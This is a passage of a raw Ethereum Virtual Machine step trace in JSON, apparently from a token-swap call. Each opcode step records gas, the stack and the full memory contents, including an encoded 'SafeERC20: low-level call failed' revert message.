616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14328,"op":"DUP5","gas":2032,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x0","0x2","0x3e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14329,"op":"ADD","gas":2029,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x0","0x2","0x3e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14330,"op":"SWAP2","gas":2026,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x0","0x2","0x404"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14331,"op":"PUSH1","gas":2023,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14333,"op":"ADD","gas":2020,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14334,"op":"PUSH2","gas":2017,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14337,"op":"JUMP","gas":2014,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x37e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14310,"op":"JUMPDEST","gas":2006,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14311,"op":"DUP2","gas":2005,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14312,"op":"DUP2","gas":2002,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14313,"op":"LT","gas":1999,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14314,"op":"ISZERO","gas":1996,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14315,"op":"PUSH2","gas":1993,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14318,"op":"JUMPI","gas":1990,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x0","0x3802"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14319,"op":"DUP4","gas":1980,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","00000000000000000000000